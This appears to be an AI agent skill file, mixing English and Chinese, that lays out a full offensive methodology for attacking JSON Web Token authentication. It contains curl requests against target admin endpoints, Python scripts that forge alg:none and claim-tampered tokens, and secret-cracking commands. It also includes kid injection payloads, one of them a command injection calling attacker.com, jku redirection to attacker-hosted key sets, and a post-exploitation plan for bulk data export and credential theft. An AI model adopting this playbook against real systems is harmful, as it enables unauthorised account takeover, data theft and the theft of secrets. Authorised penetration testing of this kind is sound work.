Skill v1.0.0
currentAutomated scan100/100name: jwt-attack description: > JWT (JSON Web Token) attack methodology. Covers Bearer removal bypass, algorithm confusion (alg:none / RS256→HS256 / empty sig), secret brute force with public wordlists + JS-extracted keywords, kid/jku/jwk header injection, claims manipulation, cross-service token reuse, JWKS endpoint analysis, and multi-role privilege escalation with post-exploitation chain. metadata: version: "1.0.0" tags: "jwt,bearer,alg-none,secret-brute-force,kid-injection,jku,jwks,claims" category: "offensive-security"
JWT Attack — Full Methodology
0. Test Priority Matrix (按成功率排序)
Priority 1 — 最快、无工具依赖├── Bearer 移除: 5秒,纯 curl├── alg:none: 10秒,base64 改 header├── 空签名: 同上,直接删签名部分├── 声明篡改: 改 payload 里的 role/userId,不改签名└── 换 Header 投递: 把 token 放到 X-Auth-Token / CookiePriority 2 — 需要工具,10-30分钟├── Secret 爆破: jwt.secrets.list + JS 关键字├── kid 路径穿越: 读 /dev/null 实现 alg:none├── RS256→HS256: 需要公钥(从 JWKS 端点拿)Priority 3 — 特定场景├── jku 注入: 需要托管自己的 JWKS├── jwk 内嵌: 同上,自签 key 嵌入 header├── 跨服务重用: 同一 token 打不同微服务└── JWKS 私钥泄露: /.well-known/jwks.json 里有 d 参数
Attack Surface
JWT vulnerabilities exist when the server:
- Does not properly validate the "Bearer" prefix
- Trusts the
algheader from the client - Uses a weak/guessable secret for HMAC signing
- Allows kid/jku/jwk header injection
- Does not validate token claims (exp, aud, iss, role)
- Reuses the same JWT validation logic across microservices
- Exposes key material via JWKS endpoint
1. Bearer Removal Bypass
Scenario: Multi-role platform (user/admin). Normal user's token gets 401/403 on admin endpoints. Server may have flawed middleware that checks the Authorization header differently with/without "Bearer" prefix.
# Original request (returns 403)curl -s https://target/api/admin/users \-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 1: Remove "Bearer " prefixcurl -s https://target/api/admin/users \-H "Authorization: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 2: Lowercase bearercurl -s https://target/api/admin/users \-H "Authorization: bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 3: Bearer with extra spacescurl -s https://target/api/admin/users \-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 4: Token in alternative headerscurl -s https://target/api/admin/users \-H "X-Auth-Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."curl -s https://target/api/admin/users \-H "X-API-Key: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 5: Token in Cookiecurl -s https://target/api/admin/users \-H "Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."# Attempt 6: Token in POST body / query paramcurl -s "https://target/api/admin/users?token=eyJh..."curl -s -X POST https://target/api/admin/users \-H "Content-Type: application/json" \-d '{"token":"eyJh..."}'
Why this works: Some middleware frameworks have separate logic for "authenticated user" vs "role check". The Bearer prefix may trigger a role validation path, while the bare token bypasses it and falls back to a less strict check. Common in custom API gateway implementations.
2. Algorithm Confusion
2a. alg:none (remove signature entirely)
import base64, jsondef jwt_none(token):"""Strip signature by setting alg to none."""header_b64, payload_b64, _ = token.split('.')# Decode and modify headerheader = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))header['alg'] = 'none'new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()# Re-encode without signaturereturn f"{new_header}.{payload_b64}."
2b. Empty Signature (不设 alg:none,直接删签名)
有些库检查 alg 值为 none 时会拒绝,但只要签名部分为空就通过。
# 方法: 不修改 header,直接发 token 不带签名部分# Original: eyJhbG...header.eyJzdW...payload.sig# Attack: eyJhbG...header.eyJzdW...payload.# 注意最后有个点 ^curl https://target/api/admin/users \-H "Authorization: Bearer eyJhbG...header.eyJzdW...payload."
2c. No Algorithm Specified
部分库在 header 中没有 alg 字段时默认跳过验证:
// Remove alg field entirely{"typ": "JWT"}
2d. Algorithm Case Variations
"alg": "None" → Python PyJWT 某些版本"alg": "NONE" → 某些 Java 实现"alg": "nOnE" → 混合大小写绕过简单字符串比较
2e. RS256 → HS256 (public key as HMAC secret)
When the server uses RS256 (asymmetric) but accepts HS256 (symmetric), the public key can be used as the HMAC secret to forge tokens.
# 1. Get the public key (often at /.well-known/jwks.json)curl https://target/.well-known/jwks.json# 2. Convert JWK to PEM, use as HMAC secret# 3. Forge token with HS256, sign with the public key# Tool: jwt_tool or python-jwt
3. Secret Brute Force
Step 1: Download public wordlist
# Download wallarm jwt-secrets listcurl -sL https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list \-o jwt.secrets.listwc -l jwt.secrets.list # ~1000+ common JWT secrets
Step 2: Collect JS-extracted keywords
From the recon phase, collect sensitive values found in JS files:
apiKey, secretKey, secret, key, password, token, private_keyAES_KEY, ENCRYPTION_KEY, JWT_SECRET, SIGNING_KEYAny hardcoded string values found in config objects
Build a custom dictionary from these:
# Extract keywords from JS analysis results# Combine with wallarm listcat jwt.secrets.list js_keywords.txt | sort -u > jwt_combined.txt
Step 3: Crack
# hashcat mode 16500 = JWT HS256hashcat -m 16500 jwt_token.txt jwt_combined.txt --rules best64.rule# jwt_toolpython3 jwt_tool.py <JWT_TOKEN> -C -d jwt_combined.txt# johnjohn jwt_token.txt --wordlist=jwt_combined.txt
Step 4: Verify cracked secret
# Sign a test payload with the cracked secretpython3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "cracked_secret"# Test the forged token against admin endpointcurl https://target/api/admin/users \-H "Authorization: Bearer <FORGED_TOKEN>"
4. kid (Key ID) Injection
The kid header tells the server which key to use for verification. Poorly implemented servers may be vulnerable to injection in the kid parameter.
// Path traversal — read /dev/null (always empty → alg:none bypass){"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"}// Path traversal — read predictable file with known content as key{"alg": "HS256", "typ": "JWT", "kid": "../../../etc/hostname"}// SQL injection — manipulate key lookup query{"alg": "HS256", "typ": "JWT", "kid": "1' UNION SELECT 'my_secret_key'--"}// Command injection — key ID passed to shell/exec{"alg": "HS256", "typ": "JWT", "kid": "key; whoami"}{"alg": "HS256", "typ": "JWT", "kid": "key|curl attacker.com/$(id)"}// Null byte truncation{"alg": "HS256", "typ": "JWT", "kid": "valid_key%00.sql"}
5. jku / jwk Header Injection
5a. jku (JWK Set URL) — 让服务器去你的域名取公钥
{"alg": "RS256","typ": "JWT","jku": "https://attacker.com/jwks.json"}
利用条件: 服务器从 jku URL 取 JWKS,且该 URL 未被白名单限制。
# 1. 在自己的服务器上托管 jwks.json# 2. 生成 RSA 密钥对,公钥放进 jwks.json# 3. 用私钥签名 JWT,jku 指向自己的 jwks.json# 4. 服务器会从你的 jwks.json 取公钥→ 验证通过# 绕过技巧 — 如果 jku URL 只校验前缀:"jku": "https://target.com.evil.com/jwks.json""jku": "https://target.com@evil.com/jwks.json""jku": "https://evil.com/target.com/jwks.json"
5b. jwk (Embedded JWK) — 直接把公钥嵌在 header 里
{"alg": "RS256","typ": "JWT","jwk": {"kty": "RSA","n": "0vx7agoebGcQ...","e": "AQAB"}}
利用: 部分库在 jwk 存在时会优先使用内嵌的公钥,而不去验证该公钥是否可信。用自己的私钥签名 → 公钥嵌入 jwk → 服务器用该公钥验证。
6. Claims Manipulation(声明篡改)
核心思路: 不改签名,只改 payload 中的权限声明,赌服务器不验证签名或验证有缺陷。
改 role/scope 提权
import base64, jsondef modify_claims(token, new_claims):header_b64, payload_b64, sig = token.split('.')payload = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))payload.update(new_claims)new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()return f"{header_b64}.{new_payload}.{sig}"# 用法new_token = modify_claims(original_token, {"role": "admin","is_admin": True,"scope": "*","userId": 1, # 改成 admin 的 userId})
常见可篡改字段
role / roles / group / groups / permission / permissionsis_admin / isAdmin / adminscope / scopesuserId / user_id / sub / audlevel / tier / typeorganization / org_id / tenant / tenant_id
不验证的声明
exp — 服务器可能不检查过期时间nbf — 同上iat — 签发时间iss — 签发者jti — JWT ID (用于防重放,但不检查就废了)
7. Cross-Service Token Reuse(跨服务令牌重用)
微服务架构中,同一个 JWT 可能在多个服务之间传递。A 服务的 token 可能在 B 服务上也有效。
# 1. 从 JS/响应中收集所有已知微服务地址# 2. 用同一个 token 逐个测试for svc in api-user api-order api-payment api-notification \internal-api admin-api; doecho "=== $svc ==="curl -s https://target/${svc}/users \-H "Authorization: Bearer $TOKEN" | head -5done# 3. 特别关注:# - internal / admin 前缀的域名# - 不同端口 (443→8080→8443→9090)# - 内网地址 (10.x, 172.x, 192.168.x)
8. JWKS Endpoint Analysis
/.well-known/jwks.json 可能泄露关键信息:
curl -s https://target/.well-known/jwks.json | python -m json.tool
检查清单
□ 检查是否包含 "d" 字段 — 私钥泄露! (严重)□ 检查 "kid" 值 — 可能暴露内部命名/路径□ 检查是否有多个 key — 可能对应不同环境/租户□ 尝试其他常见路径:/.well-known/openid-configuration/jwks.json/api/jwks/auth/jwks/v1/jwks
9. Post-Exploitation Chain(拿到身份后的攻击闭环)
拿到 admin 级别 token 后,不要停——回注到之前发现的所有端点:
┌────────────────────────────────────────────────────────────┐│ JWT 攻击闭环 — 与前序阶段联动 │├────────────────────────────────────────────────────────────┤│ ││ Phase 1 Recon: JS 提取关键字 → 喂给 JWT 爆破字典 ││ │ ││ ▼ ││ Phase 2 API Fuzz: 发现的需要认证的端点清单 ││ │ ││ ▼ ││ Phase 3 Bypass: JWT 爆破成功 → 伪造 admin token ││ │ ││ ▼ ││ [闭环] 用 admin token 重新打 Phase 2 的所有端点: ││ □ 所有之前 401/403 的端点 → 现在可能 200 ││ □ 导出类接口 (*/export, */download) → 全量数据泄露 ││ □ 管理类接口 (*/admin/*, */manage/*) → 垂直越权确认 ││ □ 用户列表接口 → 提取更多 userId → 扩大 IDOR 范围 ││ □ 配置接口 → 读取系统配置、SMTP 密码、AK/SK ││ ││ [链式] 新发现的敏感数据 → 回注到 Phase 0 源泄露搜索 ││ │ (用新发现的内部路径/配置字段搜索 GitHub/Gitee) ││ ▼ ││ 形成闭环: 低权限用户 → JWT爆破 → admin → 全量数据 ││ → 源泄露扩大 → 发现更多凭据 → 更广攻击面 │└────────────────────────────────────────────────────────────┘
10. Quick Test Checklist (Full)
=== Priority 1: 30秒内完成 ===□ 解码 JWT payload: echo "token" | cut -d'.' -f2 | base64 -d□ Bearer 移除: 去掉 "Bearer " 前缀 → 裸 token□ Bearer 变体: bearer / BEARER / 多余空格□ 换 header: X-Auth-Token / X-API-Key / Cookie / ?token=□ alg:none + 移除签名□ 空签名: header.payload. (尾部带点)□ 删除 alg 字段 + 移除签名=== Priority 2: 声明篡改 (不改签名) ===□ 查看 payload 中是否有 role/isAdmin/scope 字段□ 尝试修改 role → admin, is_admin → true, userId → 1□ 保持原签名不变,只改 payload 的 base64□ 用修改后的 token 打管理接口=== Priority 3: 密码学攻击 ===□ Download jwt.secrets.list (wallarm)□ 从 JS 提取关键字合并字典□ hashcat -m 16500 爆破 HMAC secret□ RS256→HS256: 从 jwks.json 取公钥当 secret=== Priority 4: Header 注入 ===□ kid 路径穿越: ../../../../dev/null□ kid SQL 注入: 1' UNION SELECT 'key'--□ jku 注入: 指向自己的 JWKS 端点□ jwk 内嵌: 嵌入自签 RSA 公钥□ 尝试算法变体: None / NONE / nOnE=== Priority 5: 环境分析 ===□ 访问 /.well-known/jwks.json → 检查私钥泄露□ 访问 /.well-known/openid-configuration□ 跨服务测试: 同一 token 打不同微服务□ 过期 token 测试: 用已过期的 token 请求□ 查看 token 在 JS/响应/日志中的泄露=== Post-Exploitation (拿到身份后) ===□ Admin token → 重打所有 Phase 2 发现的端点□ 导出接口 (/export/* /download/*) → 全量数据□ 管理接口 (/admin/* /manage/*) → 垂直越权确认□ 用户列表 → 提取更多 ID → 扩大 IDOR□ 配置接口 → 读取 AK/SK / SMTP 密码□ 新发现的敏感数据 → 回注源泄露搜索
Tools
# jwt_tool — 综合 JWT 攻击套件python3 jwt_tool.py <token> -M at # 全部攻击方法python3 jwt_tool.py <token> -T # 篡改 payloadpython3 jwt_tool.py <token> -C -d dict.txt # 爆破 secretpython3 jwt_tool.py <token> -X k # kid 注入# hashcat — 高性能爆破hashcat -m 16500 jwt.txt wordlist.txt --rules best64.rule# jwt-cracker — 轻量 Node.js 爆破npx jwt-cracker <token> <wordlist># 手动解码echo "<token>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python -m json.tool# Python 快速篡改python3 -c "import base64,jsonh,p,s = '<TOKEN>'.split('.')pl = json.loads(base64.urlsafe_b64decode(p+'=='))pl['role'] = 'admin'np = base64.urlsafe_b64encode(json.dumps(pl).encode()).rstrip(b'=').decode()print(f'{h}.{np}.{s}')"